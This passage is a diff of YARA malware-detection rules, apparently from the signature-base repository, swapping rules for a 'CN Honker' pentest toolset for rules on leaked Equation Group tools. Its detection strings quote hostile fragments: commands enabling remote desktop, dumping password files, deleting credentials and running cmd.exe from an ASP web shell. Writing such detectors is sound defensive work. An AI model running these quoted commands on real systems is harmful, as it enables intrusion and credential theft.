-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "67d0e215c96370dcdc681bb2638703c2eeea188a"
-		logic_hash = "50e4ec9716b4e9d824fb301bb493dcdcd9782d87c0fb8040b82a87faf56292cb"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1289-L1306"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ad9bb848a0c4805a14465ff44e3c967c9afa7369536a211a8a1fb100902fbb55"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5dc77614764b23a38610fdd8abe5b2274222f206889e4b0974a3fea569055ed6"
 
 	strings:
-		$s1 = "Pwdump7.exe >pass.txt" fullword ascii
+		$s1 = "0123456789abcdefABCEDF:" fullword ascii
+		$op0 = { c6 06 5b 8b bd 70 ff ff ff 8b 9d 64 ff ff ff 0f }
+		$op1 = { 55 b8 ff ff ff ff 89 e5 83 ec 28 89 7d fc 8b 7d }
+		$op2 = { ff 05 10 64 41 00 89 34 24 e8 df 1e 00 00 e9 31 }
 
 	condition:
-		filesize <1KB and all of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Portrecall_Pr : FILE
+rule SIGNATURE_BASE_Equationgroup_Gr : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file pr"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1e137ed0-3af6-5b01-a27b-87bf42359887"
-		date = "2015-06-23"
+		id = "9ec19323-85d5-5edf-99eb-b452c09b870a"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L149-L165"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "583cf6dc2304121d835f2879803a22fea76930f3"
-		logic_hash = "f33373e87887506651b1fac464f860a3cf18ad681ba124b606524f6f2255e693"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1308-L1322"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6df2a36e51fbe23e090094a91da76ca881a65d7e129c6e428ffef13787f230bc"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d3cd725affd31fa7f0e2595f4d76b09629918612ef0d0307bb85ade1c3985262"
 
 	strings:
-		$s1 = "Usage: Same as lcx.exe in win32 :)" fullword ascii
-		$s2 = "connect to client" fullword ascii
-		$s3 = "PR(Packet redirection) for linux " fullword ascii
+		$s1 = "if [ -f /tmp/tmpwatch ] ; then" fullword ascii
+		$s2 = "echo \"bailing. try a different name\"" fullword ascii
 
 	condition:
-		filesize <70KB and all of them
+		( filesize <1KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Sig_3389_3389_3 : FILE
+rule SIGNATURE_BASE_Equationgroup_Curseroot_Win2K_V_2_1_0 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file 3389.bat"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ff61a5cb-6089-5632-a65d-09f4ffd99857"
-		date = "2015-06-23"
+		id = "bd2257ef-8170-547d-9c5e-7ff03404495c"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L167-L183"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cfedec7bd327897694f83501d76063fe16b13450"
-		logic_hash = "df07958e44c7896bc7bdf2b79bc95969593eb21b9c9ed51213fd15affb731ec2"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1324-L1340"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "64ea35c9287ed35b5e7fbc8aaa228f87bc003111dd6fc35f5277eeea5f371a2c"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a1637948ed6ebbd2e582eb99df0c06b27a77c01ad1779b3d84c65953ca2cb603"
 
 	strings:
-		$s1 = "echo \"fDenyTSConnections\"=dword:00000000>>3389.reg " fullword ascii
-		$s2 = "echo \"PortNumber\"=dword:00000d3d>>3389.reg " fullword ascii
-		$s3 = "echo [HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server]>>" ascii
+		$s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%s,%s" fullword ascii
+		$op0 = { c7 44 24 04 ff ff ff ff 89 04 24 e8 46 65 01 00 }
+		$op1 = { 8d 5d 88 89 1c 24 e8 24 1b 01 00 be ff ff ff ff }
+		$op2 = { d3 e0 48 e9 0c ff ff ff 8b 45 }
 
 	condition:
-		filesize <2KB and all of them
+		( uint16(0)==0x5a4d and filesize <400KB and $s1 and 2 of ($op*))
 }
-rule SIGNATURE_BASE_CN_Honker_Alien_D : FILE
+rule SIGNATURE_BASE_Equationgroup_Cursewham_Curserazor_Cursezinger_Curseroot_Win2K : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file D.ASP"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "88529577-0dea-5aa8-b763-79a69397ddd5"
-		date = "2015-06-23"
+		id = "6a877998-7021-54cb-b068-452d005955b6"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L185-L203"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "de9cd4bd72b1384b182d58621f51815a77a5f07d"
-		logic_hash = "2eca697dd1f2ad80c5cd71507cd5f8abd2364b11dfe3206a1043e3d4f5835797"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1342-L1362"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a5a8e6a516b51c2eed616c80a1162990c1dda4460ec7786793d66820ca15b5a4"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "aff27115ac705859871ab1bf14137322d1722f63705d6aeada43d18966843225"
+		hash2 = "7a25e26950bac51ca8d37cec945eb9c38a55fa9a53bc96da53b74378fb10b67e"
 
 	strings:
-		$s0 = "Paths_str=\"c:\\windows\\\"&chr(13)&chr(10)&\"c:\\Documents and Settings\\\"&chr" ascii
-		$s1 = "CONST_FSO=\"Script\"&\"ing.Fil\"&\"eSyst\"&\"emObject\"" fullword ascii
-		$s2 = "Response.Write \"<form id='form1' name='form1' method='post' action=''>\"" fullword ascii
-		$s3 = "set getAtt=FSO.GetFile(filepath)" fullword ascii
-		$s4 = "Response.Write \"<input name='NoCheckTemp' type='checkbox' id='NoCheckTemp' chec" ascii
+		$s1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/%s,%s" fullword ascii
+		$s3 = ",%02d%03d" fullword ascii
+		$s4 = "[%.2u%.2u%.2u%.2u%.2u%.2u]" fullword ascii
+		$op1 = { 7d ec 8d 74 3f 01 0f af f7 c1 c6 05 }
+		$op2 = { 29 f1 89 fb d3 eb 89 f1 d3 e7 }
+		$op3 = { 7d e4 8d 5c 3f 01 0f af df c1 c3 05 }
 
 	condition:
-		filesize <30KB and 2 of them
+		( uint16(0)==0x5a4d and filesize <400KB and 3 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Chinachopper_Db : FILE
+rule SIGNATURE_BASE_Equationgroup_Watcher_Linux_I386_V_3_3_0 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file db.mdb"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1314e204-d3f5-5f0a-bb74-dc774fef3d3c"
-		date = "2015-06-23"
+		id = "3c5dc02b-a11a-5c61-8069-641ba90668ec"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L205-L221"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "af79ff2689a6b7a90a5d3c0ebe709e42f2a15597"
-		logic_hash = "b650498df99c4620e3904ce8980cd58eb0cb5e0a7a275d54bdbcc41a687bec8e"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1364-L1381"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "245662b561178f4d929ed858811846b2a49dc80af25396864a3d7bd90d16ac2b"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ce4c9bfa25b8aad8ea68cc275187a894dec5d79e8c0b2f2f3ec4184dc5f402b8"
 
 	strings:
-		$s1 = "http://www.maicaidao.com/server.phpcaidao" fullword wide
-		$s2 = "<O>act=login</O>" fullword wide
-		$s3 = "<H>localhost</H>" fullword wide
+		$s1 = "invalid option `" fullword ascii
+		$s8 = "readdir64" fullword ascii
+		$s9 = "89:z89:%r%opw" fullword wide
+		$s13 = "Ropopoprstuvwypypop" fullword wide
+		$s17 = "Missing argument for `-x'." fullword ascii
 
 	condition:
-		filesize <340KB and 2 of them
+		( uint16(0)==0x457f and filesize <700KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Syconfig : FILE
+rule SIGNATURE_BASE_Equationgroup_Charm_Saver_Win2K_V_2_0_0 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file syconfig.dll"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3850007d-20d5-5b10-a549-dc4655877c6e"
-		date = "2015-06-23"
+		id = "9c2e3b70-ffa2-598a-9f99-f7a574b06c14"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L223-L237"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ff75353df77d610d3bccfbffb2c9dfa258b2fac9"
-		logic_hash = "6b7f918b83bac84df5ac6b247d4162dd385aba0a32570366c62fc4830199e86e"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1383-L1399"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "87cea1f46a3165485274165e840a4945d6f6a6f9ff7fd011e685e8bb90acae8a"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0f7936a37482532a8ba5df4112643ed7579dd0e59181bfca9c641b9ba0a9912f"
 
 	strings:
-		$s9 = "Hashq.CrackHost+FormUnit" fullword ascii
+		$s2 = "0123456789abcdefABCEDF:" fullword ascii
+		$op0 = { b8 ff ff ff ff 7f 65 eb 30 8b 55 0c 89 d7 0f b6 }
+		$op2 = { ba ff ff ff ff 83 c4 6c 89 d0 5b 5e 5f 5d c3 90 }
 
 	condition:
-		uint16(0)==0x0100 and filesize <18KB and all of them
+		( uint16(0)==0x5a4d and filesize <400KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Linux_Bin : FILE
+rule SIGNATURE_BASE_Equationgroup_Cursehappy_Win2K_V_6_1_0 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file linux_bin"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3c56a4a8-6392-517c-a16e-63785799acb9"
-		date = "2015-06-23"
+		id = "7b75d4aa-2cbc-57fc-8fda-015bbc1fb25e"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L239-L254"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "26e71e6ebc6a3bdda9467ce929610c94de8a7ca0"
-		logic_hash = "d02fcf23e46a0b6d44c382e34d73ef6239b6a1afc690e417aa0e6b0898e277c0"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1401-L1415"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3bf5878c3be20a7a543d4937c6d820df726062e39ee262a6c31f7e91b32fd55e"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "eb669afd246a7ac4de79724abcce5bda38117b3138908b90cac58936520ea632"
 
 	strings:
-		$s1 = "client.sin_port = htons(atoi(argv[3]));" fullword ascii
-		$s2 = "printf(\"\\n\\n*********Waiting Client connect*****\\n\\n\");" fullword ascii
+		$op1 = { e8 24 2c 01 00 85 c0 89 c6 ba ff ff ff ff 74 d6 }
+		$op2 = { 89 4c 24 04 89 34 24 89 44 24 08 e8 ce 49 ff ff }
 
 	condition:
-		filesize <20KB and all of them
+		( uint16(0)==0x5a4d and filesize <400KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Intersect2_Beta : FILE
+rule SIGNATURE_BASE_Equationgroup_Morerats_Client_Store : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file Intersect2-Beta.py"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d20da18d-f8c9-5eb3-8d5d-c8816cff3200"
-		date = "2015-06-23"
+		id = "de6de983-fad2-58cf-95be-57109436d5fc"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L256-L272"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3ba5f720c4994cd4ad519b457e232365e66f37cc"
-		logic_hash = "bc6a83f8f851f7fb5b620be889619fcbd9f34ba27d495c2040e207caf95854bb"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1417-L1433"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "34dc21d933d56b6f6c342ca110d9cff7bb51d9fd1b88b359861e5b5650679ad0"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "619944358bc0e1faffd652b6af0600de055c5e7f1f1d91a8051ed9adf5a5b465"
 
 	strings:
-		$s1 = "os.system(\"ls -alhR /home > AllUsers.txt\")" fullword ascii
-		$s2 = "os.system('getent passwd > passwd.txt')" fullword ascii
-		$s3 = "os.system(\"rm -rf credentials/\")" fullword ascii
+		$s1 = "[-] Failed to mmap file: %s" fullword ascii
+		$s2 = "[-] can not NULL terminate input data" fullword ascii
+		$s3 = "Missing argument for `-x'." fullword ascii
+		$s4 = "[!] Value has size of 0!" fullword ascii
 
 	condition:
-		uint16(0)==0x2123 and filesize <50KB and 2 of them
+		( uint16(0)==0x457f and filesize <60KB and 2 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_IIS_Logcleaner1_0_Readme : FILE
+rule SIGNATURE_BASE_Equationgroup_Watcher_Linux_X86_64_V_3_3_0 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file readme.txt"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6f3605ab-cf9d-5f6b-8d89-6269976c5b0b"
-		date = "2015-06-23"
+		id = "4077242e-a0f2-54a8-afad-f52b8ed874ba"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L274-L289"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2ab47d876b49e9a693f602f3545381415e82a556"
-		logic_hash = "3cbd7b2e1710c78bc8ab8d2730cc6da8eb95038f8431d5d0081db984b3d706cf"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1435-L1450"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "be2ca3791ef1025db6a1dd6bcdf1a9f0b224c3f7585af4546029840251c50094"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "a8d65593f6296d6d06230bcede53b9152842f1eee56a2a72b0a88c4f463a09c3"
 
 	strings:
-		$s2 = "LogCleaner.exe <ip> [Logpath]" fullword ascii
-		$s3 = "http://l-y.vicp.net" fullword ascii
+		$s1 = "forceprismheader" fullword ascii
+		$s2 = "invalid option `" fullword ascii
+		$s3 = "forceprism" fullword ascii
 
 	condition:
-		filesize <7KB and all of them
+		( uint16(0)==0x457f and filesize <900KB and all of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Alien_Command : FILE
+rule SIGNATURE_BASE_Equationgroup_Linux_Exactchange : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file command.txt"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "55dd10c9-f7dc-5ee2-a47d-dab8cc7b60e6"
-		date = "2015-06-23"
+		id = "cd9487be-57c5-5352-bce7-f9510166182d"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L291-L306"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5896b74158ef153d426fba76c2324cd9c261c709"
-		logic_hash = "a55be30fdb6598669d144308af5a9b6a21ab6140c75fdfc18cecf5d9add4a530"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1452-L1472"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a0bcf5aa1f434fe9698a7408df68870d4908cdf87f22bb4acfedc50bb2c8f11f"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "dfecaf5b85309de637b84a686dd5d2fca9c429e8285b7147ae4213c1f49d39e6"
+		hash2 = "6ef6b7ec1f1271503957cf10bb6b1bfcedb872d2de3649f225cf1d22da658bec"
+		hash3 = "39d4f83c7e64f5b89df9851bdba917cf73a3449920a6925b6cd379f2fdec2a8b"
+		hash4 = "15e12c1c27304e4a68a268e392be4972f7c6edf3d4d387e5b7d2ed77a5b43c2c"
 
 	strings:
-		$s0 = "for /d %i in (E:\\freehost\\*) do @echo %i" fullword ascii
-		$s1 = "/c \"C:\\windows\\temp\\cscript\" C:\\windows\\temp\\iis.vbs" fullword ascii
+		$x1 = "[+] looking for vulnerable socket" fullword ascii
+		$x2 = "can't use 32-bit exploit on 64-bit target" fullword ascii
+		$x3 = "[+] %s socket ready, exploiting..." fullword ascii
+		$x4 = "[!] nothing looks vulnerable, trying everything" fullword ascii
 
 	condition:
-		filesize <8KB and all of them
+		( uint16(0)==0x457f and filesize <2000KB and 1 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Portrecall_Bc : FILE
+rule SIGNATURE_BASE_Equationgroup_X86_Linux_Exactchange : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file bc.pl"
+		description = "Equation Group hack tool set"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ea74f260-87e6-5027-b558-628949cae32a"
-		date = "2015-06-23"
+		id = "b39e0c6e-b427-5085-99f8-88b2e00bb110"
+		date = "2017-04-09"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L308-L324"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2084990406398afd856b2309c7f579d7d61c3767"
-		logic_hash = "f51644f195e42b91dae80ba1770aeb40790ea8528b6d09f5fed0f71d93bda5fc"
-		score = 70
+		reference = "https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1474-L1490"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9365eb74a364eb83150672919ea1abe635465fe3239fff26ba91037c74971466"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "dfecaf5b85309de637b84a686dd5d2fca9c429e8285b7147ae4213c1f49d39e6"
+		hash2 = "6ef6b7ec1f1271503957cf10bb6b1bfcedb872d2de3649f225cf1d22da658bec"
 
 	strings:
-		$s0 = "print \"[*] Connected to remote host \\n\"; " fullword ascii
-		$s1 = "print \"Usage: $0 [Host] [Port] \\n\\n\";  " fullword ascii
-		$s5 = "print \"[*] Resolving HostName\\n\"; " fullword ascii
+		$x1 = "kernel has 4G/4G split, not exploitable" fullword ascii
+		$x2 = "[+] kernel stack size is %d" fullword ascii
 
 	condition:
-		filesize <10KB and all of them
+		( uint16(0)==0x457f and filesize <1000KB and 1 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Tuoku_Script_MSSQL_ : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Eclipsedwing_Rpcproxy_Pcdlllauncher : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file MSSQL_.asp"
+		description = "Detects EquationGroup Tool - April Leak"
 		author = "Florian Roth (Nextron Systems)"
-		id = "35c4f119-6a57-580a-b5ee-c36af0ccc94a"
-		date = "2015-06-23"
+		id = "8dd15424-e1b5-5543-97d5-3b3a83faa428"
+		date = "2017-04-15"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L326-L342"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "7097c21f92306983add3b5b29a517204cd6cd819"
-		logic_hash = "4d721fd9711799cf3fd8ba6c300e270ed25faa2fb938ea01464e9bc9a3768e22"
-		score = 70
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L1502-L1519"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8a01ea872c161521301182b922ece893f9ad1a33d902ec94963946f3b07d7266"
+		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "48251fb89c510fb3efa14c4b5b546fbde918ed8bb25f041a801e3874bd4f60f8"
+		hash2 = "237c22f4d43fdacfcbd6e1b5f1c71578279b7b06ea8e512b4b6b50f10e8ccf10"
+		hash3 = "79a584c127ac6a5e96f02a9c5288043ceb7445de2840b608fc99b55cf86507ed"
 
 	strings:
-		$s1 = "GetLoginCookie = Request.Cookies(Cookie_Login)" fullword ascii
-		$s2 = "if ShellPath=\"\" Then ShellPath = \"c:\\\\windows\\\\system32\\\\cmd.exe\"" fullword ascii
-		$s8 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii
+		$x1 = "[-] Failed to Prepare Payload!" fullword ascii
+		$x2 = "ShellcodeStartOffset" fullword ascii
+		$x3 = "[*] Waiting for AuthCode from exploit" fullword ascii
 
 	condition:
-		filesize <100KB and all of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
 }
-rule SIGNATURE_BASE_CN_Honker_Nc_MOVE : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Explodingcantouch_1_2_1 : FILE
 {
 	meta:
-		description = "Script from disclosed CN Honker Pentest Toolset - file MOVE.txt"
+		description = "Detects EquationGroup Tool - April Leak"
 		author = "Florian Roth (Nextron Systems)"
-		id = "115d1ec9-6c4f-587e-977c-cd24ada89ab6"
-		date = "2015-06-23"
+		id = "66a09bfc-992d-5152-9fd6-9d7bcfb8b92f"
+		date = "2017-04-15"
 		modified = "2023-12-05"
-		reference = "Disclosed CN Honker Pentest Toolset"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/cn_pentestset_scripts.yar#L344-L360"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4195370c103ca467cddc8f2724a8e477635be424"
-		logic_hash = "49f41162919bb04744041ae6f7438e61d98fb7d5984a17535d9c4ce4d398671b"
-		score = 70
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
